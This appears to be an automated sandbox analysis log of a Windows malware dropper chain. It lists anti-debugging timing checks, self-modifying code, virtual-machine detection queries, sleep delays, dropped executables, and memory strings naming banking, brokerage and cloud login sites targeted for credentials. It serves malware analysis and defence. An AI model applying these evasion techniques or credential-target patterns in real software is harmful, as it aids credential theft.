Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 938325 second address: 938336 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F85E0CFF5ECh 0x00000008 jbe 00007F85E0CFF5E6h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9684D8 second address: 9684E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F85E0BBFC16h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9684E6 second address: 9684F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F85E0CFF5E6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9684F8 second address: 9684FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9686AC second address: 9686B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 968AE1 second address: 968AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 938321 second address: 938325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 92FCA6 second address: 92FCB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 92FCB1 second address: 92FCCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F85E0CFF5E6h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 969764 second address: 969769 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 96A107 second address: 96A123 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F85E0CFF5ECh 0x00000008 jc 00007F85E0CFF5E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F85E0CFF5EAh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 96A123 second address: 96A127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 96FFDE second address: 96FFE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F85E0CFF5E6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 96E9C2 second address: 96E9C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6819A1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6800F2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4DC04E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6A884F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 711900 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Special instruction interceptor: First address: 970059 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Special instruction interceptor: First address: 96EB3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Special instruction interceptor: First address: 998FAC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Special instruction interceptor: First address: 7BDF3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Special instruction interceptor: First address: 976B70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Special instruction interceptor: First address: A08511 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Special instruction interceptor: First address: F4EF15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Special instruction interceptor: First address: 10E74D6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Special instruction interceptor: First address: 10E5CDB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Special instruction interceptor: First address: 116C998 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9EEF15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B874D6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B85CDB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C0C998 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Special instruction interceptor: First address: DC19A1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Special instruction interceptor: First address: DC00F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Special instruction interceptor: First address: C1C04E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Special instruction interceptor: First address: DE884F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Special instruction interceptor: First address: E51900 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Special instruction interceptor: First address: F8D95A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Special instruction interceptor: First address: 115DB07 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Special instruction interceptor: First address: 1145CEC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Special instruction interceptor: First address: 11BCBCA instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Memory allocated: 4D00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Memory allocated: 50A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Memory allocated: 4F60000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	File opened / queried: HGFS
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	File opened / queried: VBoxMiniRdrDN
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe

Code function: 3_2_0094504A rdtsc

3_2_0094504A

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe

Code function: 3_2_0095B5FC sidt fword ptr [esp-02h]

3_2_0095B5FC

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6088	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3644	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1809

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	Dropped PE file which has not been started: C:\Windows\System32\RemotePrinterSecurity.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1002758001\num.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 1352	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe TID: 4296	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4832	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4832	Thread sleep time: -110055s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5012	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5012	Thread sleep time: -118059s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3424	Thread sleep count: 204 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3424	Thread sleep time: -6120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5512	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5512	Thread sleep time: -118059s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5016	Thread sleep count: 68 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5016	Thread sleep time: -136068s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6628	Thread sleep count: 65 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6628	Thread sleep time: -130065s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3424	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe TID: 2000	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4476	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5736	Thread sleep count: 6088 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3116	Thread sleep count: 3644 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5176	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2148	Thread sleep count: 1809 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3304	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4816	Thread sleep count: 49 > 30
Source: C:\Windows\System32\svchost.exe TID: 4816	Thread sleep time: -2940000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4816	Thread sleep count: 48 > 30
Source: C:\Windows\System32\svchost.exe TID: 4816	Thread sleep time: -288000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1656	Thread sleep count: 322 > 30
Source: C:\Windows\System32\svchost.exe TID: 1656	Thread sleep time: -3220000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe TID: 1096	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe TID: 6184	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe TID: 980	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E73F30 FindFirstFileExW,		18_2_00007FF8B7E73F30
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018002AD4C FindFirstFileExW,		18_2_000000018002AD4C

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 60000

Source: fc0b992f89.exe, 00000017.00000002.3158433067.000000000186E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareD
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: configuredInstallerEXE.exe, 00000008.00000003.2911913096.00000272A0FFC000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2912923880.00000272A0FFC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW S
Source: skotes.exe, 00000007.00000002.3311124337.0000000001448000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2881916711.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3151528838.0000000000796000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000002.3152326455.0000000000796000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000002.3152232200.000000000072E000.00000004.00000020.00020000.00000000.sdmp, fc0b992f89.exe, 00000017.00000002.3158433067.00000000018E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 00000026.00000002.3352668500.000001FC296A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3314473275.000001A639E1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: fc0b992f89.exe, 00000017.00000002.3158433067.00000000018B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: b6ea789a1a.exe, 00000018.00000003.3226401691.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,116
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: firefox.exe, 0000002A.00000002.3313701682.00000211DA090000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll9
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2881916711.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWrF
Source: fc0b992f89.exe, 00000029.00000002.3311731465.000000000157B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: b6ea789a1a.exe, 00000016.00000003.3151528838.0000000000796000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000002.3152326455.0000000000796000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn{
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: skotes.exe, skotes.exe, 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmp, b6ea789a1a.exe, 00000016.00000002.3153386887.0000000000DA2000.00000040.00000001.01000000.00000011.sdmp, fc0b992f89.exe, 00000017.00000002.3156958322.0000000001118000.00000040.00000001.01000000.00000012.sdmp, b6ea789a1a.exe, 00000018.00000002.3307072522.0000000000DA2000.00000040.00000001.01000000.00000011.sdmp, fc0b992f89.exe, 00000029.00000002.3307338987.0000000001118000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: b6ea789a1a.exe, 00000018.00000002.3314964247.00000000013B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<;
Source: svchost.exe, 00000009.00000002.2889083714.000001B1106A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NJQHGFs
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: firefox.exe, 00000026.00000002.3349505457.000001FC1F9F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllX
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: firefox.exe, 0000002A.00000002.3307205748.00000211D98CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: firefox.exe, 0000002A.00000002.3313701682.00000211DA090000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllQ
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: svchost.exe, 00000027.00000002.3309242207.000002592902B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpVe.Y
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: firefox.exe, 00000026.00000002.3349505457.000001FC1F9F9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3308157252.000001A639AFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: firefox.exe, 00000028.00000002.3316007859.000001A63A240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllaE
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: firefox.exe, 00000028.00000002.3316007859.000001A63A240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWSJ
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: b6ea789a1a.exe, 00000018.00000003.3226105584.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: fc0b992f89.exe, 00000017.00000002.3158433067.00000000018E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:H(
